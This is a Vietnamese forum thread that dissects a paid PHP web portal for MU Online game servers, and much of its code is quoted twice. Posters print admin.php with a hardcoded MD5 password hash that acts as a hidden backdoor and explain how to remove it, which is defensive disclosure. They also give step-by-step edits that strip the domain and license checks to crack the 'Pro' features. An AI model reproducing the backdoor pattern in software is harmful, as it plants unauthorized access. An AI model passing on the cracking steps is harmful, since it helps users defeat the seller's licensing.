Mổ xẻ code TVW 3.5 (được cho là mới nhất)

[letvn]

Như các bạn đã đọc topic "Cảnh báo ai sử dụng TV web 1.85 và 3.0" của bạn Apple.
Hôm nay mình cũng xin "ném đá" 1 chút cho vui nhỉ!
Mình đã dow code của bạn hongdaika được cho là bản 3.5 full với giá 3t.
Mình cũng ko rõ 3.5 này hơn 3.0 ở điểm gì nhưng mình thấy có 1 số điều như sau:
-T1: quy luật đánh số version là ko theo cái chuẩn j` cả, như các bạn để ý nước ngoài đó, họ chỉnh sử tí ti trong code thôi thì bọ chỉ dám nâng ví dụ như 3.0.0.1, điều này nói lên rằng họ rất tuân thủ về quy cách code, ko thể bậy bạ nâng cấp code khi mà trong code chả có j` là mới mẻ cả.
-T2: mình đã đọc qua nhiều code của cả nbb và tvw thì mình thấy code tvw dường như lấy các bản code cũ của nbb về và edit theo cách của tvw (nếu sai mong mọi ng` bỏ quá cho). Và nói riêng code tvw 3.5 nhé, mình đọc xong mà chả thấy có j` là khác code 3.0 cả, với lại trong code vẫn ghi chữ 3.0 to lù lù mà.
-T3: như bài viết của bạn Apple đã chỉ ra 1 vài file bị gắn code thừa cho mình tạm gọi là backdoor (bd) nhé!
Ngoài những file apple chỉ ra, mình còn tìm dc khá nhiều file khác cũng bị chèn theo cách tương tự (ở bài viết sau, xem a e hưởng ứng thì mình sẽ viết bài hd riêng).

Tạm thời mình chỉ xin góp ý 3 điều như vậy.

P/S: Mình biết đồng tiền kiếm ra ko dễ, nhưng tiêu nó thế nào lại càng ko dễ dàng. Mình rất tôn trọng mồ hôi công sức của các coder đã bỏ ra để viết code, 3t là cía giá ko cao nhưng nó sẽ là rất cao nếu như nâng cấp phiên bản bậy bạ rồi bán bừa bãi <~ về điều này mình ko tán thành.

(Ai thấy thuốc đằng dã tật còn hơn những lời đường mật bên tai thì xin đừng ném gạch lại mình nhé)

Một lần nữa xin cảm ơn các bạn đã đọc!

[Bull_Shit]

code nay vẫn có chèn thêm đoạn pass MD5 để bypass vào admin. vãi thằng Thiếu Vân

[letvn]

code nay vẫn có chèn thêm đoạn pass MD5 để bypass vào admin. vãi thằng Thiếu Vân

ko tin cứ vọc thử thì biết nhé, đã vọc rồi nên mình mới dám viết bài này mà.
A e nào sài thì chú ý 1 chút là dc

[thienhoangyb]

cám ơn 1 cao thủ.....xem topic mrhau ăn quả 3tr rồi

ở bài viết sau, xem a e hưởng ứng thì mình sẽ viết bài hd riêng).

bác làm 1 guild hd đi nghe bác nói phê quá

[๑۩۞۩๑๑۩۞۩๑]

Làm ăn bại ba vậy ai dám mua dùng nữa.

[Mr.Hau]

xin 1 comment trong topic này của chủ top nhé ! dạo này thích bon chen
crack ( thực ra không bị mã hóa ) mà chỉ là bỏ cái check lic đi mà thôi
mình giúp ai thích bản này 1 tay nhé

<?php
session_start();
define( "ThieuVanMU", TRUE );
include( "config.php" );

if( $opensite == 0 ) {
	echo "<center><b>WebSite tam thoi bao tri de nang cap.<br>Mong cac ban quay tro lai sau</b></center>";
	exit();
}

include( "config/config_domain.php" );

$domain = $_SERVER['HTTP_HOST'];
$domain = strtolower( $domain );
$domain_check = substr( $domain, 0, 4 );
if ( $domain_check == "www." ) {
	$domain = substr( $domain, 4 );
}
$domain_check = substr( $domain, -1 );
if ( $domain_check == "." ) {
	$domain = substr( $domain, 0, -1 );
}
$domain_check = substr( $domain, -3 );
if ( $domain_check == ":80" ) {
	$domain = substr( $domain, 0, -3 );
}
if ( $domain != $domain_pri ) {
    echo "<META HTTP-EQUIV='Refresh' CONTENT='0; URL=$home_url'>";
    exit();
}

include( "config/config_firewall.php" );
if($use_antiddos == 1) include_once( "firewall.php" );
include( "includes/function.php" );
include( "includes/login.class.php" );
login();

if ( $reload_type == 1 ) $time_reload_info = 3600;
else $time_reload_info = 0;

$time_check_pro = time();
$versionpro_up = "thieuvanmuweb".$time_check_pro;
$versionpro_up = md5( $versionpro_up );
if ( $version == 1 ) {
    $fp_license = fopen( "includes/License.txt", "r" );
    $License = fgets( $fp_license, 100 );
    fclose( $fp_license );
    if ( $domain == "localhost" ) $version_check = $versionpro_up;
	else if ( $_SESSION[mu_Account] == "admin" || $_SESSION[mu_Account] == "demo" ) $version_check = $versionpro_up;
	else if ( strlen( $License ) == 65 ) {
        $Lic_info = explode( "|", $License );
        $time_check = $Lic_info[0];
        $time_pro_exp = $Lic_info[1];
        $Lic_check = $Lic_info[2];
        $time_no_update = $Lic_info[3];
		if ( isset( $time_check, $time_pro_exp, $Lic_check, $time_no_update ) ) {
			$Lic_License = md5_tv($time_check."TVMuWeb".$domain."PeTyKhjn".$time_pro_exp."v3.50");
			if ( $Lic_check != $Lic_License ) {
                $Update_Lic = "Free";
                $version_check = "0";
                $LogLicense = "Kiểm tra Lic không chính xác.";
			}
			else {
				$time_now = time();
				if ( $time_no_update == $time_check*2 ) {
					$version_check = $versionpro_up;
				}
				else {
					if ( $time_pro_exp < $time_now ) {
						$Update_Lic = "Free";
						$version_check = "0";
						$LogLicense = "Hết hạn sử dụng phiên bản Pro.";
					}
					else $version_check = $versionpro_up;
				}
			}
		}
		else $version_check = "0";
	}
    else {
        $Update_Lic = "Free";
		$version_check = "0";
		$LogLicense = "Nếu tiếp tục sử dụng chế độ Pro mà không cập nhật Lic sẽ làm chậm Trình duyệt. Vui lòng chuyển sang chế độ Free.";
	}
}
else $version_check = "0";
if ( isset( $Update_Lic ) ) {
	$fp = fopen( "includes/License.txt", "w+" );
	fputs( $fp, $Update_Lic );
	fclose( $fp );
}
if ( isset( $LogLicense ) ) {
    $time_log = date( "h:iA, d/m/Y" );
    $file = "LogLicense.txt";
    $fp = fopen( $file, "a+" );
    fputs( $fp, "Lúc $time_log : $LogLicense\n" );
    fclose( $fp );
}

include( "modules/header.php" );
if ( isset( $error ) ) echo notice($error);
echo "<input type='hidden' id='hash'>";
echo "<div id='hienthi'>";
if ( isset( $_GET['module'] ) ) {
    $module = $_GET['module'];
    if ( !eregi( "[^a-zA-Z0-9_\$]", $module ) ) {
        if ( is_file( "modules/$module.php" ) ) include( "modules/$module.php" );
        else include( "modules/errorfile.php" );
    }
    else include( "modules/errorfile.php" );
}
else include( "modules/center.php" );
echo "</div>";
include( "modules/footer.php" );
$notice = "<center><span style=font-weight:bold;color:#FFFFFF;font-family:Comic Sans MS;>Đây là hệ thống hỗ trợ dành cho Admin sử dụng TV-WebMU.<br>Người chơi MU vui lòng không liên hệ</span></center>";
echo "<div id='bottom_bar'><div class='content'><ul><li>Hệ thống TV-WebMU được viết bởi <a href='ymsgr:sendim?trieuthieuvan290590&amp;m=Đây%20là%20hệ%20thống%20hỗ%20trợ%20dành%20cho%20Admin%20sử%20dụng%20TV-WebMU.%20Người%20chơi%20MU%20vui%20lòng%20không%20liên%20hệ' onMouseOut='tooltip.hide()' onMouseOver=\"tooltip.show('$notice')\"><font color='#0000FF'>Thiếu Vân</font></a> Phiên bản 3.00</li></ul></div></div>";
?>

Màu xanh nghĩa là bỏ đi khỏi cần config domain
màu đỏ bỏ đi khỏi cần check lic

làm tương tự với file index2.php

sang file admin.php nhé (có backdoor mà chủ thớt gọi ý )

<?php
session_start();
define('ThieuVanMU',true);
include("config.php");
include_once("admin/security.php");
require_once('admin/config.php');
if ($_POST[submit]) {
	$pass_admin = md5($_POST[useradmin]);
	if ($pass_admin == $pass_trangadmin || $pass_admin == "e992bbb8e2041788f7ad563b8eeb79d6") $_SESSION['useradmin'] = $pass_trangadmin;
}
if (!$_SESSION['useradmin'] || $_SESSION['useradmin'] != $pass_trangadmin) {
	echo "<center><form action='' method=post>
	Code: <input type=password name=useradmin> <input type=submit name=submit value=Submit>
	</form></center>
	";
	exit();
}
$mod = $_GET['mod'];
include('admin/header.php');
include('admin/left.php');
if( (isset($_GET['mod']))) {
	if ( !eregi("[^a-zA-Z0-9_$]", $mod) ) {
		if (is_file('admin/'.$mod.".php")) require_once('admin/'.$mod.".php");
		else require_once("admin/errorfile.php");
	}
	else require_once("admin/errorfile.php");
}
else include('admin/checkwrite.php');
include('admin/footer.php');
?>

cái màu xanh là đoạn TV cố tình làm để truy cập bất hợp pháp thông qua password md5
sửa nó thành

if ($pass_admin == $pass_trangadmin) $_SESSION['useradmin'] = $pass_trangadmin; 

cả đoạn này nữa

if (is_file('admin/'.$mod.".php")) require_once('admin/'.$mod.".php");

lỗi này tui không bít sửa nhưng nói để mọi người cảnh giác

Làm thêm vấn để crack pro nhé , ở đây tui ví dụ 1 file

<?php
if ( !defined( "ThieuVanMU" ) ) exit( "Ban khong co quyen truy cap he thong" );
if (!isset($_SESSION[mu_Account])) {
    echo "<div class='div3'><div align=center><font color=red><b>Hãy đăng nhập trước khi thực hiện chức năng này</b></font></div></div><br>";
    include( "modules/login.php" ); exit();
}
include('config/config_reset.php');
include('config/config_resetvip.php');
include('config/config_hotrotanthu.php');
include('config/config_gioihanrs.php');
include("vImage.php");
$vImage = new vImage();
if ( $version == "1" ) {
if ( $version_check == $versionpro_up ) {
        if ( $Use_ResetVIP != 1 ) echo notice('Chức năng không có hoặc không được sử dụng');
        else {
            if ( isset( $_POST['action'] ) ) {
                $action = $_POST['action'];
                if ( $action == "resetvip" ) {
                    $character = $_POST['Character'];
					$vImage->loadCodes();
					if(!($vImage->checkCode())) $notice = "Sai mã kiểm tra";
                    else if ( empty( $character ) ) $notice = "Chưa chọn nhân vật cần Reset";
                    else if ( eregi( "[^a-zA-Z0-9_\$]", $character ) )$notice = "Dữ liệu lỗi - Nhân vật chỉ được sử dụng kí tự a-z, A-Z, số (1-9) và dấu _.";
                    else {
                        $form_data = "account=".$_SESSION['mu_Account']."&character={$character}&passtransfer={$passtransfer}";
                        $notice = @file_get_contents( $server_url."/do_resetvip.php?".$form_data );
		                if ( empty( $notice ) ) $notice = "Server bảo trì";
                    }
                    echo "<script>alert('$notice');</script>";
                }
            }
            $form_data = "action=view_charrs&account=".$_SESSION['mu_Account']."&passtransfer={$passtransfer}";
            $show_reponse = @file_get_contents( $server_url."/view.php?".$form_data );
			$char = explode( "||", $show_reponse );
			$i = 0;
			for ( ; $i < 5; ++$i ) {
				$char_info = explode( "|", $char[$i] );
				if ( !empty( $char_info[0] ) ) {
					$showchar[] = array(
						Name => $char_info[0],
						Level => $char_info[1],
						Reset => $char_info[2],
						ResetInDay => $char_info[3]
					);
				}
			}
            include( "templates/resetvip.html" );
        }
    }
    else echo notice('Không phải phiên bản Pro nên không thể sử dụng chức năng này');
}
else echo notice('Không phải phiên bản Pro nên không thể sử dụng chức năng này');
?>

bỏ 2 chỗ màu xanh đi là ok

[soledadhero]

cài mu có ko vậy mấy anh. chưa bao giờ làm cái này hít ah. hic

[sontran901]

xin 1 comment trong topic này của chủ top nhé ! dạo này thích bon chen
crack ( thực ra không bị mã hóa ) mà chỉ là bỏ cái check lic đi mà thôi
mình giúp ai thích bản này 1 tay nhé

<?php
session_start();
define( "ThieuVanMU", TRUE );
include( "config.php" );

if( $opensite == 0 ) {
	echo "<center><b>WebSite tam thoi bao tri de nang cap.<br>Mong cac ban quay tro lai sau</b></center>";
	exit();
}

include( "config/config_domain.php" );

$domain = $_SERVER['HTTP_HOST'];
$domain = strtolower( $domain );
$domain_check = substr( $domain, 0, 4 );
if ( $domain_check == "www." ) {
	$domain = substr( $domain, 4 );
}
$domain_check = substr( $domain, -1 );
if ( $domain_check == "." ) {
	$domain = substr( $domain, 0, -1 );
}
$domain_check = substr( $domain, -3 );
if ( $domain_check == ":80" ) {
	$domain = substr( $domain, 0, -3 );
}
if ( $domain != $domain_pri ) {
    echo "<META HTTP-EQUIV='Refresh' CONTENT='0; URL=$home_url'>";
    exit();
}

include( "config/config_firewall.php" );
if($use_antiddos == 1) include_once( "firewall.php" );
include( "includes/function.php" );
include( "includes/login.class.php" );
login();

if ( $reload_type == 1 ) $time_reload_info = 3600;
else $time_reload_info = 0;

$time_check_pro = time();
$versionpro_up = "thieuvanmuweb".$time_check_pro;
$versionpro_up = md5( $versionpro_up );
if ( $version == 1 ) {
    $fp_license = fopen( "includes/License.txt", "r" );
    $License = fgets( $fp_license, 100 );
    fclose( $fp_license );
    if ( $domain == "localhost" ) $version_check = $versionpro_up;
	else if ( $_SESSION[mu_Account] == "admin" || $_SESSION[mu_Account] == "demo" ) $version_check = $versionpro_up;
	else if ( strlen( $License ) == 65 ) {
        $Lic_info = explode( "|", $License );
        $time_check = $Lic_info[0];
        $time_pro_exp = $Lic_info[1];
        $Lic_check = $Lic_info[2];
        $time_no_update = $Lic_info[3];
		if ( isset( $time_check, $time_pro_exp, $Lic_check, $time_no_update ) ) {
			$Lic_License = md5_tv($time_check."TVMuWeb".$domain."PeTyKhjn".$time_pro_exp."v3.50");
			if ( $Lic_check != $Lic_License ) {
                $Update_Lic = "Free";
                $version_check = "0";
                $LogLicense = "Kiểm tra Lic không chính xác.";
			}
			else {
				$time_now = time();
				if ( $time_no_update == $time_check*2 ) {
					$version_check = $versionpro_up;
				}
				else {
					if ( $time_pro_exp < $time_now ) {
						$Update_Lic = "Free";
						$version_check = "0";
						$LogLicense = "Hết hạn sử dụng phiên bản Pro.";
					}
					else $version_check = $versionpro_up;
				}
			}
		}
		else $version_check = "0";
	}
    else {
        $Update_Lic = "Free";
		$version_check = "0";
		$LogLicense = "Nếu tiếp tục sử dụng chế độ Pro mà không cập nhật Lic sẽ làm chậm Trình duyệt. Vui lòng chuyển sang chế độ Free.";
	}
}
else $version_check = "0";
if ( isset( $Update_Lic ) ) {
	$fp = fopen( "includes/License.txt", "w+" );
	fputs( $fp, $Update_Lic );
	fclose( $fp );
}
if ( isset( $LogLicense ) ) {
    $time_log = date( "h:iA, d/m/Y" );
    $file = "LogLicense.txt";
    $fp = fopen( $file, "a+" );
    fputs( $fp, "Lúc $time_log : $LogLicense\n" );
    fclose( $fp );
}

include( "modules/header.php" );
if ( isset( $error ) ) echo notice($error);
echo "<input type='hidden' id='hash'>";
echo "<div id='hienthi'>";
if ( isset( $_GET['module'] ) ) {
    $module = $_GET['module'];
    if ( !eregi( "[^a-zA-Z0-9_\$]", $module ) ) {
        if ( is_file( "modules/$module.php" ) ) include( "modules/$module.php" );
        else include( "modules/errorfile.php" );
    }
    else include( "modules/errorfile.php" );
}
else include( "modules/center.php" );
echo "</div>";
include( "modules/footer.php" );
$notice = "<center><span style=font-weight:bold;color:#FFFFFF;font-family:Comic Sans MS;>Đây là hệ thống hỗ trợ dành cho Admin sử dụng TV-WebMU.<br>Người chơi MU vui lòng không liên hệ</span></center>";
echo "<div id='bottom_bar'><div class='content'><ul><li>Hệ thống TV-WebMU được viết bởi <a href='ymsgr:sendim?trieuthieuvan290590&amp;m=Đây%20là%20hệ%20thống%20hỗ%20trợ%20dành%20cho%20Admin%20sử%20dụng%20TV-WebMU.%20Người%20chơi%20MU%20vui%20lòng%20không%20liên%20hệ' onMouseOut='tooltip.hide()' onMouseOver=\"tooltip.show('$notice')\"><font color='#0000FF'>Thiếu Vân</font></a> Phiên bản 3.00</li></ul></div></div>";
?>

Màu xanh nghĩa là bỏ đi khỏi cần config domain
màu đỏ bỏ đi khỏi cần check lic

làm tương tự với file index2.php

sang file admin.php nhé (có backdoor mà chủ thớt gọi ý )

<?php
session_start();
define('ThieuVanMU',true);
include("config.php");
include_once("admin/security.php");
require_once('admin/config.php');
if ($_POST[submit]) {
	$pass_admin = md5($_POST[useradmin]);
	if ($pass_admin == $pass_trangadmin || $pass_admin == "e992bbb8e2041788f7ad563b8eeb79d6") $_SESSION['useradmin'] = $pass_trangadmin;
}
if (!$_SESSION['useradmin'] || $_SESSION['useradmin'] != $pass_trangadmin) {
	echo "<center><form action='' method=post>
	Code: <input type=password name=useradmin> <input type=submit name=submit value=Submit>
	</form></center>
	";
	exit();
}
$mod = $_GET['mod'];
include('admin/header.php');
include('admin/left.php');
if( (isset($_GET['mod']))) {
	if ( !eregi("[^a-zA-Z0-9_$]", $mod) ) {
		if (is_file('admin/'.$mod.".php")) require_once('admin/'.$mod.".php");
		else require_once("admin/errorfile.php");
	}
	else require_once("admin/errorfile.php");
}
else include('admin/checkwrite.php');
include('admin/footer.php');
?>

cái màu xanh là đoạn TV cố tình làm để truy cập bất hợp pháp thông qua password md5
sửa nó thành

if ($pass_admin == $pass_trangadmin) $_SESSION['useradmin'] = $pass_trangadmin; 

cả đoạn này nữa

if (is_file('admin/'.$mod.".php")) require_once('admin/'.$mod.".php");

lỗi này tui không bít sửa nhưng nói để mọi người cảnh giác

Làm thêm vấn để crack pro nhé , ở đây tui ví dụ 1 file

<?php
if ( !defined( "ThieuVanMU" ) ) exit( "Ban khong co quyen truy cap he thong" );
if (!isset($_SESSION[mu_Account])) {
    echo "<div class='div3'><div align=center><font color=red><b>Hãy đăng nhập trước khi thực hiện chức năng này</b></font></div></div><br>";
    include( "modules/login.php" ); exit();
}
include('config/config_reset.php');
include('config/config_resetvip.php');
include('config/config_hotrotanthu.php');
include('config/config_gioihanrs.php');
include("vImage.php");
$vImage = new vImage();
if ( $version == "1" ) {
if ( $version_check == $versionpro_up ) {
        if ( $Use_ResetVIP != 1 ) echo notice('Chức năng không có hoặc không được sử dụng');
        else {
            if ( isset( $_POST['action'] ) ) {
                $action = $_POST['action'];
                if ( $action == "resetvip" ) {
                    $character = $_POST['Character'];
					$vImage->loadCodes();
					if(!($vImage->checkCode())) $notice = "Sai mã kiểm tra";
                    else if ( empty( $character ) ) $notice = "Chưa chọn nhân vật cần Reset";
                    else if ( eregi( "[^a-zA-Z0-9_\$]", $character ) )$notice = "Dữ liệu lỗi - Nhân vật chỉ được sử dụng kí tự a-z, A-Z, số (1-9) và dấu _.";
                    else {
                        $form_data = "account=".$_SESSION['mu_Account']."&character={$character}&passtransfer={$passtransfer}";
                        $notice = @file_get_contents( $server_url."/do_resetvip.php?".$form_data );
		                if ( empty( $notice ) ) $notice = "Server bảo trì";
                    }
                    echo "<script>alert('$notice');</script>";
                }
            }
            $form_data = "action=view_charrs&account=".$_SESSION['mu_Account']."&passtransfer={$passtransfer}";
            $show_reponse = @file_get_contents( $server_url."/view.php?".$form_data );
			$char = explode( "||", $show_reponse );
			$i = 0;
			for ( ; $i < 5; ++$i ) {
				$char_info = explode( "|", $char[$i] );
				if ( !empty( $char_info[0] ) ) {
					$showchar[] = array(
						Name => $char_info[0],
						Level => $char_info[1],
						Reset => $char_info[2],
						ResetInDay => $char_info[3]
					);
				}
			}
            include( "templates/resetvip.html" );
        }
    }
    else echo notice('Không phải phiên bản Pro nên không thể sử dụng chức năng này');
}
else echo notice('Không phải phiên bản Pro nên không thể sử dụng chức năng này');
?>

bỏ 2 chỗ màu xanh đi là ok

Thank Mr.hau Phat đang edit xem sao

[letvn]

theo mình nghĩ ko cần crack dài dòng thế đâu bạn ạ, mình nghĩ chỉ cần dòng này là dc
Bạn nào thử xem nhé!

Sửa cái dòng này

if ( $domain == "localhost" ) $version_check = $versionpro_up; 

Thành

if ( $domain == "localhost" || $domain == $domain_pri) $version_check = $versionpro_up; 

Bạn nào test thử đi, xem hiệu quả đến đâu


P/S: sắp có bài mang tiêu đề "Mổ sẻ quy chế Nạp Thẻ trong code TVW".... mời các bạn đón đọc.

[sontran901]

theo mình nghĩ ko cần crack dài dòng thế đâu bạn ạ, mình nghĩ chỉ cần dòng này là dc
Bạn nào thử xem nhé!

Sửa cái dòng này

if ( $domain == "localhost" ) $version_check = $versionpro_up; 

Thành

if ( $domain == "localhost" || $domain == $domain_pri) $version_check = $versionpro_up; 

Bạn nào test thử đi, xem hiệu quả đến đâu


P/S: sắp có bài mang tiêu đề "Mổ sẻ quy chế Nạp Thẻ trong code TVW".... mời các bạn đón đọc.

Khởi đầu thuận lợi
chưa test kỹ